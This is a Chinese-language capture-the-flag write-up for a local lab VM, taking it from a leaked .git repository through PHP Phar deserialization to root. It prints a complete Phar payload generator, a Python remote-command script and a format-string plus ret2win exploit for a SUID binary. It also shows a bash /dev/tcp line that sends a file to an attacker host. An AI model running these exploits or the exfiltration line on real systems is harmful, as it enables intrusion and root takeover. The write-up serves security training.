信息收集
┌──(kali㉿JYlover)-[~]
└─$ nmap -p- 192.168.56.109
Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-05 14:35 +0800
Nmap scan report for 192.168.56.109
Host is up (0.020s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 32.75 seconds去web端看看
web渗透
一个登录页面,试了试弱口令试出来admin/admin
进来一个输入框也不知道是什么
现扫一下目录:
root@JYlover bash 17ms
~/result/a7505d1fd44669cabd1512a909828426/class master ● dirsearch -u http://192.168.56.109/
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12289
Target: http://192.168.56.109/
[15:58:08] Scanning:
[15:58:11] 301 - 355B - /.git -> http://192.168.56.109/.git/
[15:58:11] 200 - 3KB - /.git/
[15:58:11] 200 - 240B - /.git/info/exclude
[15:58:11] 200 - 31B - /.git/COMMIT_EDITMSG
[15:58:11] 200 - 198B - /.git/config
[15:58:11] 200 - 1KB - /.git/logs/
[15:58:11] 200 - 194B - /.git/logs/HEAD
[15:58:11] 200 - 73B - /.git/description
[15:58:11] 200 - 23B - /.git/HEAD
[15:58:11] 200 - 194B - /.git/logs/refs/heads/master
[15:58:11] 200 - 4KB - /.git/hooks/
[15:58:11] 200 - 54B - /.git/objects/info/packs
[15:58:11] 200 - 105B - /.git/packed-refs
[15:58:11] 200 - 751B - /.git/index
[15:58:11] 200 - 1KB - /.git/info/
[15:58:11] 200 - 59B - /.git/info/refs
[15:58:11] 301 - 365B - /.git/logs/refs -> http://192.168.56.109/.git/logs/refs/
[15:58:11] 301 - 371B - /.git/logs/refs/heads -> http://192.168.56.109/.git/logs/refs/heads/
[15:58:11] 200 - 1KB - /.git/objects/
[15:58:11] 200 - 1KB - /.git/refs/
[15:58:11] 301 - 366B - /.git/refs/heads -> http://192.168.56.109/.git/refs/heads/
[15:58:11] 301 - 365B - /.git/refs/tags -> http://192.168.56.109/.git/refs/tags/
[15:58:11] 200 - 20B - /.gitignore
CTRL+C detected: Pausing threads, please wait...
[q]uit / [c]ontinue: qq
[q]uit / [c]ontinue: q
[s]ave / [q]uit without saving: q
Canceled by the user
很多git文件,Githacker拉下来
githacker --url http://192.168.56.109/.git/ --output-folder result
获取到php源码。开始代码审计:
首先我们根据源码,结合实际黑盒测试,可以大概摸清三个功能点的功能。(相比于完全白盒,加上一些黑盒测试可以帮助我们更快了解业务流程)
submit failed task:一个类似笔记记的功能,写入文字。submit提交后得到一串32位的16进制id
repair task:输入上面得到的32位id,回显以id命名的一个.bin文件名,应该是吧传上去的变成二进制文件了
check archive:输入文件路径可读取
然后我们再去看具体源码。看哪里有利用点
源码审计
我们先看页面上的几个功能点
submit 和 repair 逻辑
Task.class.php 里有两个核心方法:
- 先看
submit()
public function submit(): void
{
require_login();
$msg = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$id = bin2hex(random_bytes(16));
file_put_contents(QUARANTINE . '/' . $id . '.txt', (string) ($_POST['blob'] ?? ''), LOCK_EX);
$msg = '<p>saved: <code>' . h($id) . '</code></p>';
}
page('submit', $msg . '...');
}这里会把我们提交的 blob 原样写入:
/var/labdata/quarantine/<id>.txt #config.php中定义的QUARANTINEid 是 16 字节随机数转 16 进制,所以长度是 32。(一个字节会转化成2个16进制数)
- 再看
repair():
public function repair(): void
{
require_login();
$id = (string) ($_POST['id'] ?? '');
if (!preg_match('/^[a-f0-9]{32}$/', $id)) {
die('bad id');
}
$src = QUARANTINE . '/' . $id . '.txt';
$dst = ARCHIVE . '/' . $id . '.bin';
if (!is_file($src)) {
die('task not found');
}
file_put_contents($dst, rawurldecode((string) file_get_contents($src)), LOCK_EX);
page('repaired', '<p>rebuilt: <code>' . h($id . '.bin') . '</code></p><p><a href="?c=Task&m=submit">back</a></p>');
}这个功能会读取刚刚的 quarantine 文件,对内容做一次 rawurldecode()
也就是URL解码一次
然后写到:
/var/labdata/archive/<id>.bin也就是说我们可以控制 .bin 文件的真实二进制内容。因为中间有一次 rawurldecode(),我们只要把二进制内容URL加密然后用submit写入,再触发repair,它会对我们的输入URL解码,此时内容就是原本的二进制内容,然后被写入.bin文件。
Phar 触发点
继续看 Files.class.php,这是最后一个功能点:
public function read(): void
{
require_login();
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
page('read', $this->form());
return;
}
$this->filename = trim((string) ($_POST['file'] ?? ''));
if ($this->filename === '') {
die('empty file');
}
self::$inWorker = true;
try {
$contents = @file_get_contents($this->filename);
} finally {
self::$inWorker = false;
}
$this->filter();
if ($contents === false || $contents === '') {
die('file not found or empty');
}
page('read', $this->form() . '<textarea rows="10" cols="90">' . h((string) $contents) . '</textarea>');
}这个地方很关键:
try {
$contents = @file_get_contents($this->filename);
} finally {
self::$inWorker = false;
}
$this->filter();程序是先执行 file_get_contents(),再过滤路径。过滤函数如下:
public function filter(): void
{
$name = (string) $this->filename;
if (preg_match('/^\/|flag|data|zip|utf16|utf-16|\.\.\//i', $name) || strpos($name, '://') !== false) {
echo 'not reasonable';
throw new Error('invalid archive path');
}
}正常来看,它不允许绝对路径、不允许 flag、不允许 data、不允许 ://。如果出现了就抛出异常,我们试一下,输入
./README.md/../README.md也确实拦截了。
但是它过滤得太晚了,他虽然会拦截并输出not reasonable,但是file_get_contents() 已经执行过了。
所以这里不走普通文件读取路线,而是利用 phar:// 在过滤前触发 Phar metadata 反序列化。(题目已经提示 PHAR,所以重点看这条链)
POP 链分析
题目里面没有直接写 unserialize(),但是 PHP 下对 phar:// 做文件操作时,会解析 Phar metadata,从而触发 metadata 的反序列化。
题目里可以拼出一条 POP 链:
Phar unserialize
-> User::__destruct()
-> User::check($obj)
-> echo $obj
-> Myerror::__toString()
-> Files::__get($level)
-> ($level)($this->arg)我们先看最终的口子,也就是造成危害的点,(命令执行),推荐先多注意一下魔术方法
- 这里并没有像eval()这种这么明显的点。但是我们能看到:
public function __get($key)
{
if (self::$inWorker && is_string($key) && preg_match('/^[A-Za-z_]\w*$/', $key)) {
($key)($this->arg);
}
return '';
}($key)($this->arg)存在一个明显的动态函数调用(这是在php7之后才支持的)
只要我们构造(‘system’)(‘ls’)就可以完成命令执行。
2. 然后我们注意到他是在__get魔术方法里(调用的成员属性不存在是自动执行),而且需要Files类的成员属性。所以我们去看哪里可以触发这个条件。
也就是只要我们可以控制调用的类和调用的成员属性就好了。
注意到了Myerror.class.php:
class Myerror
{
public $message;
public $level;
public function __toString()
{
return (string) $this->message->{$this->level};
}
}这里我们完全控制调用哪个类的哪个成员属性,只要把$message赋值为Files,$level赋值一个不存在的成员属性就好了。
3. 然后这里是在__toString魔术方法里,然后继续找谁可以调用__toString(把对象当作字符串调用时触发),而且是把Myerror类的对象当字符串。也就是找哪里可以控制一个字符串
找到User.class.php中:
public function check($obj): void
{
echo $obj;
}这里如果把$obj赋值为Myerror类的对象就好了。
4. 然后就像怎么触发这个check()呢,继续找一下。注意到有一个__destruct魔术方法还没用,所以看了一下:
public function __destruct()
{
if (is_array($this->password) && isset($this->password[0], $this->password[1])) {
$this->password[0]->{$this->password[1]}($this->username);
}
}说如果满足 password 是一个数组,且有两个参数的话,会调用password[0]中的password[1](username)
也就是password[0]是一个对象,password[1]是一个函数名,username是一个参数
到这里pop链就分析完了。
fast-destruct 问题
这里还有一个坑。普通 Phar metadata 里如果直接放对象,析构函数不一定会在 Files::$inWorker = true 的窗口里触发。Files::read() 里面的窗口很短:
self::$inWorker = true;
try {
$contents = @file_get_contents($this->filename);
} finally {
self::$inWorker = false;
}如果对象等到请求结束才析构,那时 inWorker 已经变回 false,链子就断了。
所以这里用了 PHP 反序列化里的 fast-destruct 技巧:构造重复数组键,让对象在 unserialize() 过程中被覆盖并立即析构。
核心形式是:
a:2:{i:0;<User object>;i:0;N;}第二个 i:0;N; 会覆盖第一个 i:0 的对象,于是旧对象在反序列化过程中析构。这个时间点还在 file_get_contents('phar://...') 里面,也就是 Files::$inWorker = true 的窗口内。
构造 Phar payload
本地生成 payload 的思路如下:
- 先创建一个正常 Phar;
- metadata 先放等长占位字符串;
- 生成后在二进制里替换成 fast-destruct 序列化串;
- 替换后重新计算 Phar 签名。
Phar 末尾签名结构这里是:
sha1(body, true) + pack('V', Phar::SHA1) + 'GBMB'生成脚本核心如下:
<?php
class Files
{
public $filename;
public $arg;
}
class User
{
public $username;
public $password;
}
class Myerror
{
public $message;
public $level;
}
$func = $argv[1]; // 这里直接传 system
$arg = $argv[2]; // 要执行的命令
$out = $argv[3];
$tmp = $out . '.phar';
$files = new Files();
$files->filename = null;
$files->arg = $arg;
$err = new Myerror();
$err->message = $files;
$err->level = $func;
$caller = new User();
$callee = new User();
$caller->username = $err;
$caller->password = [$callee, 'check'];
$payload = 'a:2:{i:0;' . serialize($caller) . 'i:0;N;}';
$payloadLen = strlen($payload);
$placeholderLen = null;
for ($i = 0; $i < $payloadLen; $i++) {
if (strlen(serialize(str_repeat('A', $i))) === $payloadLen) {
$placeholderLen = $i;
break;
}
}
$phar = new Phar($tmp);
$phar->startBuffering();
$phar->setSignatureAlgorithm(Phar::SHA1);
$phar->addFromString('x.txt', 'x');
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(str_repeat('A', $placeholderLen));
$phar->stopBuffering();
unset($phar);
$data = file_get_contents($tmp);
$placeholder = serialize(str_repeat('A', $placeholderLen));
$pos = strpos($data, $placeholder);
$data = substr_replace($data, $payload, $pos, strlen($placeholder));
$body = substr($data, 0, -28);
$data = $body . sha1($body, true) . pack('V', Phar::SHA1) . 'GBMB';
file_put_contents($out, $data);
file_put_contents($out . '.txt', rawurlencode($data));本地生成时要关掉 phar.readonly:
php -d phar.readonly=0 make_phar_payload.php system id poc.bin
生成出来的 poc.bin.txt 是 URL 编码后的 Phar 二进制,拿它去提交。(url后缀有问题,所以换成txt了)
getshell
直接提交刚刚的poc.bin.txt内容,是一串URL编码字符串
返回类似:
saved: <code>06964165cfa2553046f76ee731d289c9</code>再 repair:06964165cfa2553046f76ee731d289c9
这一步会生成:
/var/labdata/archive/06964165cfa2553046f76ee731d289c9.bin最后通过查看文件:
phar:///var/labdata/archive/06964165cfa2553046f76ee731d289c9.bin/x.tx
触发后回显:
uid=33(www-data) gid=33(www-data) groups=33(www-data) not reasonable
说明已经拿到 www-data 的命令执行。not reasonable 是后置过滤器的输出,不影响前面的命令结果。
为了后面枚举方便,可以写一个简单的 RCE 调用器,自动完成:登录、提交 payload、repair、phar 触发。
import html
import os
import re
import subprocess
import sys
import urllib.parse
import urllib.request
BASE = "http://192.168.56.109/"
ROOT = os.path.dirname(os.path.abspath(__file__))
MAKER = os.path.join(ROOT, "__tmp_make_phar_payload.php")
OUT = os.path.join(ROOT, "baji_rce_payload.bin")
class Session:
def __init__(self):
self.cookie = ""
def request(self, url, data=None):
headers = {}
if self.cookie:
headers["Cookie"] = self.cookie
body = None
if data is not None:
body = urllib.parse.urlencode(data).encode()
headers["Content-Type"] = "application/x-www-form-urlencoded"
req = urllib.request.Request(url, data=body, headers=headers)
try:
with urllib.request.urlopen(req, timeout=10) as resp:
for value in resp.headers.get_all("Set-Cookie", []):
self.cookie = value.split(";", 1)[0]
return resp.read().decode("utf-8", "replace")
except urllib.error.HTTPError as exc:
for value in exc.headers.get_all("Set-Cookie", []):
self.cookie = value.split(";", 1)[0]
return exc.read().decode("utf-8", "replace")
def make_payload(cmd):
subprocess.run(
["php", "-d", "phar.readonly=0", MAKER, "system", cmd, OUT],
check=True,
stdout=subprocess.DEVNULL,
)
with open(OUT + ".txt", "r", encoding="ascii") as f:
return f.read()
def run_cmd(cmd):
sess = Session()
sess.request(BASE)
sess.request(BASE, {"username": "admin", "password": "admin"})
encoded_payload = make_payload(cmd)
submit = sess.request(BASE + "?c=Task&m=submit", {"blob": encoded_payload})
match = re.search(r"<code>([a-f0-9]{32})</code>", submit)
if not match:
raise RuntimeError("submit failed: " + submit[:300])
task_id = match.group(1)
sess.request(BASE + "?c=Task&m=repair", {"id": task_id})
path = f"phar:///var/labdata/archive/{task_id}.bin/x.txt"
resp = sess.request(BASE + "?c=Files&m=read", {"file": path})
return html.unescape(resp).replace("not reasonable", "").strip()
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"usage: {sys.argv[0]} <command>", file=sys.stderr)
sys.exit(2)
print(run_cmd(" ".join(sys.argv[1:])))测试:
python baji_rce.py id
成功getshell。
这里我也尝试过直接给 welcome 写 SSH 公钥,但是当前权限是 www-data,/home/welcome 目录权限不允许写 .ssh:
drwxr-xr-x 4 welcome welcome 4096 /home/welcome
mkdir: cannot create directory '/home/welcome/.ssh': Permission denied所以不要在这条路上死磕,直接转本地提权。
www-data 提权信息收集
先看基本信息:
python baji_rce.py "id; hostname; uname -a; cat /etc/os-release"输出:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
phar
Linux phar 7.0.5-1-liquorix-amd64 #1 ZEN SMP PREEMPT liquorix 7.0-4.1~trixie x86_64 GNU/Linux
PRETTY_NAME="Debian GNU/Linux 13 (trixie)"枚举家目录:
python baji_rce.py "ls -la /home /home/welcome; find /home/welcome -maxdepth 4 -printf '%M %u %g %s %p\n' 2>/dev/null | sort"可以看到 .viminfo 是 www-data 可读的,里面有一点提示:
'1 12 0 ~/exp.py
'2 10 13 ~/copy_fail_exp.py不过这两个文件实际已经不存在了。继续枚举 SUID:
python baji_rce.py "find / -xdev -perm -4000 -type f -printf '%M %u %g %p\n' 2>/dev/null | sort"结果里最可疑的是这个:
-rwsr-xr-x root root /opt/vaultd系统自带的 SUID 比如 passwd、sudo、mount 都正常,/opt/vaultd 明显是题目自定义程序。
IDA 分析 /opt/vaultd
先把 /opt/vaultd 拉回本地,用 IDA64 打开。这里要注意,如果 Windows 端用 PowerShell 的 > 直接接收二进制,文件可能会被当成文本重编码,IDA 会提示 You have just loaded a binary file。正常 ELF 文件头应该是:
7F 45 4C 46如果文件头不对,重新传一遍。比如 Windows 端监听时用 cmd /c 做二进制重定向:
cmd /c "ncat.exe -lvnp 9001 > vaultd.elf"这是本地靶机,下面的 <攻击机IP> 填靶机能访问到的攻击机/宿主机 IP,不是 127.0.0.1。比如 VirtualBox Host-only 常见是 192.168.56.1,也可以填 Kali 在同网段的 IP。
目标机没有 nc 的话,可以用 bash 的 /dev/tcp 发送:
bash -c 'cat /opt/vaultd > /dev/tcp/<攻击机IP>/9001'IDA64 正常识别后,左侧 Functions 窗口能直接看到这些函数名:
support_ticket
hidden_maintenance_shell
restore_recipe程序没有 strip,符号名都在,所以逆向很省事。hidden_maintenance_shell 一看就是 ret2win 目标。IDA 里它的地址是:
0x4013cb程序加载基址是常见的 0x400000,函数地址也是 0x401xxx 这种固定地址,说明它是非 PIE 程序。后面覆盖返回地址时可以直接用 0x4013cb。
support_ticket:格式化字符串泄露 canary
在 IDA 左边双击 support_ticket,按 F5 看伪代码,核心逻辑类似:
read(0, buf, 0x7F);
printf(buf);这里 printf() 的格式字符串来自用户输入,不是固定字符串,所以是典型格式化字符串漏洞。这个点用来泄露栈上的 canary。
先在目标机上动态测一串 %p:
printf '2\n%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p\n4\n' | /opt/vaultd能看到一个以 00 结尾的随机值:
0xe644898730fb5d00这类值很像 stack canary。继续单独验证参数位置,发现是第 25 个参数:
printf '2\n%25$p\n4\n' | /opt/vaultd输出类似:
Ticket preview: 0x4b848231a4da7c00所以 canary 泄露 payload 是:
%25$pIDA 能帮我们确认 printf(buf) 这个漏洞点,但 %25$p 这种具体栈参数位置还是要运行时测一下。
restore_recipe:栈溢出
再看 restore_recipe,按 F5 后能看到两次读入。伪代码大概是:
read(0, stage, 0x400);
read(0, buf, 0x180);第二次读入很关键:buf 是栈上的局部变量,大小只有 0x50 左右,但程序往里面读了 0x180,存在明显栈溢出。
为了算偏移,切回反汇编或者打开 Stack view。关键位置是:
buf rbp-0x50
canary rbp-0x08
saved rbp rbp
ret rbp+0x08所以从 buf 到 canary 的距离是:
0x50 - 0x08 = 0x48payload 结构就是:
'A' * 0x48
+ leaked_canary
+ 'B' * 8
+ p64(0x4013cb)hidden_maintenance_shell:ret2win 目标
最后看 hidden_maintenance_shell。伪代码可能不一定很好看,因为里面直接用了 syscall;切到反汇编更清楚:
4013fa: mov rax,0x77
401401: syscall
40140c: mov rax,0x75
401413: syscall
401415: lea rdi,[rip+0x23] # /bin/sh
40141c: lea rsi,[rip+0x2d] # argv: sh, -p
401426: mov rax,0x3b
40142d: syscall0x3b 是 execve,这里最终执行的是 /bin/sh -p。-p 很关键,它会让 shell 保留 SUID 程序得到的有效 root 权限。
所以这段二进制的利用逻辑就是:
support_ticket 的 printf(buf) 泄露 canary
-> restore_recipe 的栈溢出覆盖返回地址
-> 返回到 hidden_maintenance_shell
-> 执行 /bin/sh -p 拿 root shell自动化 ret2win
为了保证泄露 canary 和溢出发生在同一个 /opt/vaultd 进程里,我写了一个 Python 脚本在目标机上执行:
#!/usr/bin/env python3
import os
import re
import select
import struct
import subprocess
import time
BIN = "/opt/vaultd"
WIN = 0x4013CB
CANARY_FMT = b"%25$p\n"
def p64(x):
return struct.pack("<Q", x)
def read_until(proc, token, timeout=3.0):
end = time.time() + timeout
data = b""
while token not in data and time.time() < end:
ready, _, _ = select.select([proc.stdout], [], [], 0.05)
if not ready:
continue
chunk = os.read(proc.stdout.fileno(), 4096)
if not chunk:
break
data += chunk
return data
def read_some(proc, timeout=1.0):
end = time.time() + timeout
data = b""
while time.time() < end:
ready, _, _ = select.select([proc.stdout], [], [], 0.05)
if not ready:
continue
chunk = os.read(proc.stdout.fileno(), 4096)
if not chunk:
break
data += chunk
return data
def send(proc, data):
proc.stdin.write(data)
proc.stdin.flush()
proc = subprocess.Popen(
[BIN],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
bufsize=0,
)
read_until(proc, b"> ")
send(proc, b"2\n")
out = read_until(proc, b"ticket:\n")
send(proc, CANARY_FMT)
out += read_until(proc, b"Ticket saved.", 2.0)
match = re.search(rb"0x[0-9a-fA-F]+", out)
if not match:
print(out.decode("latin-1", "replace"))
raise SystemExit("canary leak failed")
canary = int(match.group(0), 16)
print(f"[+] canary = {canary:#x}")
read_until(proc, b"> ")
send(proc, b"3\n")
read_until(proc, b"staging memory:\n")
send(proc, b"stage\n")
read_until(proc, b"Recipe title:\n")
payload = b"A" * 0x48
payload += p64(canary)
payload += b"B" * 8
payload += p64(WIN)
send(proc, payload)
time.sleep(0.3)
send(proc, b"id; whoami; cat /root/root.txt 2>/dev/null; exit\n")
time.sleep(0.5)
print(read_some(proc, 3.0).decode("latin-1", "replace"))通过前面的 RCE 把脚本传到目标机 /tmp 后执行:
python baji_rce.py "printf '%s' '<base64脚本内容>' | base64 -d > /tmp/vaultd_ret2win.py; python3 /tmp/vaultd_ret2win.py"结果:
[+] canary = 0x19ed62bc9ad60300
Restore job queued.
[maintenance] win function reached!
uid=0(root) gid=0(root) groups=0(root),33(www-data)
root
flag{root-a5e1f6d2cd2448650c88a8985cfb6365}到这里就已经成功 root 了。
总结
这台机器的完整路线是:
目录扫描发现 .git 泄露
-> Githacker 还原 PHP 源码
-> README 拿到 admin/admin
-> Task::submit 可写入 quarantine
-> Task::repair 会 rawurldecode 后写入 archive bin
-> Files::read 先 file_get_contents 后 filter
-> phar:// 触发 Phar metadata 反序列化
-> User / Myerror / Files 组成 POP 链
-> POP 链最终调用 system 拿 www-data RCE
-> 枚举 SUID 发现 /opt/vaultd
-> support_ticket 格式化字符串泄露 canary
-> restore_recipe 栈溢出 ret2win
-> hidden_maintenance_shell 执行 /bin/sh -p
-> root几个关键坑点:
QUARANTINE和ARCHIVE是 PHP 常量,不是 URL 路径,直接访问会 404。Files::filter()虽然过滤了phar://,但过滤发生在读取之后,所以还是能触发。- 普通 Phar metadata 对象析构太晚,要用 fast-destruct 让对象在
inWorker=true时析构。 - Phar 修改 metadata 后要重新计算签名,不然 PHP 不认。
not reasonable不一定代表失败,它只是后置过滤器的输出。www-data不能写/home/welcome/.ssh,所以写 SSH 公钥这条路走不通。/opt/vaultd是非 PIE SUID 程序,hidden_maintenance_shell地址固定,泄露 canary 后直接 ret2win。
最终 flag:
root: flag{root-a5e1f6d2cd2448650c88a8985cfb6365}